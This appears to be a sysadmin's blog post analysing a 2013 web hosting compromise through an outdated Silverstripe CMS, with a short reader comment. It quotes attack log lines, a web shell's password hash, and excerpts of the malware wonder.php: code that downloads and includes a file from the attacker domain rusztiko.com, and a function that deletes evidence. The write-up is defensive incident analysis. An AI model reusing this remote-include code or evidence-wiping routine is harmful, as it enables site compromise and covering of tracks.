Now that's what I call a web hack! (wonder.php, rusztiko.com)

Written by - 1 comments

Published on - last updated on May 11th 2023 - Listed in Internet PHP Linux BSD Hacks


Yesterday I came across the best hacking attack I've seen so far (and I've seen many in the last 8 years...). This one also took me a while to figure out how the hacker was able to upload files into a shared web hosting account, because once files were uploaded, their timestamps were changed. This makes it much harder to track down the logs to find the root cause.

Afer some hours of investigation, the hack is stunning. Not only because of its technical capabilities, but also because the hacker needed patience. 

Silverstripe CMS hacked by exploiting vulnerability

It all started on August 24th, when a content management system (Silverstripe) of a customer on this shared hosting server was attacked through a vulnerability:

178.122.163.236 - - [24/Aug/2013:12:22:08 +0200] "GET /Security/login?BackURL=%2Fadmin HTTP/1.1" 200 12024 "-" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16"

The customer didn't update this CMS system since 2010... So it was really just a question of time when a successful hack would happen. This "point of entry" was actually the hardest part to find out, I'll tell you later why.

The hacker then uploaded a file called Includes.php in a subfolder of the CMS. He then used the uploaded Includes.php to upload several other files and modify permissions on the web account:

178.122.163.236 - - [24/Aug/2013:12:24:39 +0200] "GET /userforms/templates/Includes/CustomRule.ss HTTP/1.1" 200 2412 "-" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16"
178.122.163.236 - - [24/Aug/2013:12:24:54 +0200] "GET /userforms/templates/Includes/Includes.php HTTP/1.1" 200 120 "-" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16"
178.122.163.236 - - [24/Aug/2013:12:25:20 +0200] "POST /userforms/templates/Includes/Includes.php HTTP/1.1" 200 11694 "http://www.example.com/userforms/templates/Includes/Includes.php" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16"
178.122.163.236 - - [24/Aug/2013:12:26:06 +0200] "POST /userforms/templates/Includes/Includes.php HTTP/1.1" 200 8928 "http://www.example.com/userforms/templates/Includes/Includes.php" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16"

Then it was calm. For exactly 10 days. The hacker showed patience because the next relevant log entries happened on September 3rd when more files were uploaded.

Another very interesting fact was, that the hacker deleted Includes.php once he didn't need it anymore:

37.1.222.114 - - [03/Sep/2013:13:09:05 +0200] "POST /userforms/templates/Includes/Includes.php HTTP/1.1" 200 11042 "http://www.example.com/userforms/templates/Includes/Includes.php" "Opera/9.80 (Macintosh; Intel Mac OS X 10.8.4) Presto/2.12.388 Version/12.16"
37.212.20.151 - - [03/Sep/2013:14:04:46 +0200] "GET /userforms/templates/Includes/Includes.php HTTP/1.1" 404 1105 "-" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16"

As you see in the GET entry, the file was not found anymore (404). This was why it was difficult to track down the source, as written above.

One of the new uploaded files was called uploader.php (a simple upload form), which was then used to upload another file called javascript.php. javascript.php turned out to be a PHP shell secured by a password and looked like this:

javascript.php - a php web shell

The md5sum of the password was set to:

$auth_pass = "dc117c9322deb502c3b16769a8a64e08";

Finally through javascript.php a new file wonder.php was uploaded. And now the real hack began.

wonder.php hack

wonder.php was a PHP file with 1172 lines full of interesting code. More then 30 functions are defined in it including definition of temporary files and even a destroy function to later delete the temporary files.

A very important code is right at the beginning of wonder.php where external code gets injected from rusztiko.com:

if (!function_exists('json_encode') || !function_exists('json_decode')) { 
    $content = file_get_contents("http://rusztiko.com/JSON.txt");
    $fp = fopen(dirname(__FILE__).DIRECTORY_SEPARATOR."json.php", "w");
    fwrite($fp, $content);
    fclose($fp);
    include_once("json.php");
    function json_encode($data) {
        $json = new Services_JSON();
        $resp = $json->encode($data);
        return $resp;
    }

    function json_decode($data, $bool) {
        $json = new Services_JSON();
        $resp = $json->decode($data, $bool);
        return (array)$resp;
      }
}

As of today, September 5th 2013, this domain is still available and points to 37.1.208.88.

Once wonder.php was starting its job, it went as deep down the system as it could and indexed all files with an extension of .htm, .html and .php in a file called wonder_scripts.php. And wonder.php did a fine job: By the time I detected the hack and stopped its execution, the file already had a size of 203 MB, full with the absolute paths of all found script files.

Now it didn't just stop there. Each found file was parsed for MySQL database credentials and injected with malware code to load an external script (http://rusztiko.com/sh2.php).
For all the MySQL credentials found, a database connection was established and it was checked, if a Wordpress of Joomla instance is available. If it found one of these two, all written articles were modified to inject malware code into the article. I'm also pretty sure that all the found credentials were sent back to the hacker.

Once the script would have ran until the end, all evidence would have been destroyed through the "destroy" function:

 function destroy() {
    $uploaderPath = $_REQUEST['uploader_path'];
    deleteFile($uploaderPath);
    deleteFile(CACHE_VISITED);
    deleteFile(CACHE_LINKS_DB);
    deleteFile(CACHE_BACKUPS_DB);
    deleteFile(BACKUP_STATUS);
    deleteFile(LINKFILE_STATUS);
    deleteFile(ADD_SCRIPT_PATH);
    deleteFile(ARTICLES_DB);
    deleteFile(UPLOADER_STATUS);
    deleteFile(CACHE_UPLOADER_DB);
    //deleteFile(ADD_UPLOADER_PATH);
    deleteFile(__FILE__);
}

function deleteFile($path) {
    if (file_exists($path)) {
        unlink($path);
    } else if (file_exists(WORKING_DIR.DIRECTORY_SEPARATOR.$path)) {
        unlink($path);
    }
}

But luckily I caught the hack in the act.

All in all a very interesting experience but nonetheless this has caused a lot of work (including restore work, change of passwords, etc).

Once more, like all the other hacks I've written about in the past, the entry point was an old and vulnerable CMS.

I think I could tell as often as I want "People, keep your CMS up to date!" but unfortunately the world is full of black sheep webmasters not caring about (security) updates.


Add a comment

Show form to leave a comment

Comments (newest first)

Michele from wrote on Dec 16th, 2013:

Thanks for sharing! I saw them looking for wonder.php in my apache logs, after reading this immediately checked things out to see if I had any of the signs. All looks okay, but thanks for your detailed writeup about it.


RSS feed

Blog Tags:

  AWS   Android   Ansible   Apache   Apple   Atlassian   BSD   Backup   Bash   Bluecoat   CMS   Chef   Cloud   Coding   Consul   Containers   CouchDB   DB   DNS   Database   Databases   Docker   ELK   Elasticsearch   Filebeat   FreeBSD   Galera   Git   GlusterFS   Grafana   Graphics   HAProxy   HTML   Hacks   Hardware   Icinga   Icingaweb   Icingaweb2   Influx   Internet   Java   KVM   Kibana   Kodi   Kubernetes   LVM   LXC   Linux   Logstash   Mac   Macintosh   Mail   MariaDB   Minio   MongoDB   Monitoring   Multimedia   MySQL   NFS   Nagios   Network   Nginx   OSSEC   OTRS   Office   PGSQL   PHP   Perl   Personal   PostgreSQL   Postgres   PowerDNS   Proxmox   Proxy   Python   Rancher   Rant   Redis   Roundcube   SSL   Samba   Seafile   Security   Shell   SmartOS   Solaris   Surveillance   Systemd   TLS   Tomcat   Ubuntu   Unix   VMWare   VMware   Varnish   Virtualization   Windows   Wireless   Wordpress   Wyse   ZFS   Zoneminder   


Update cookies preferences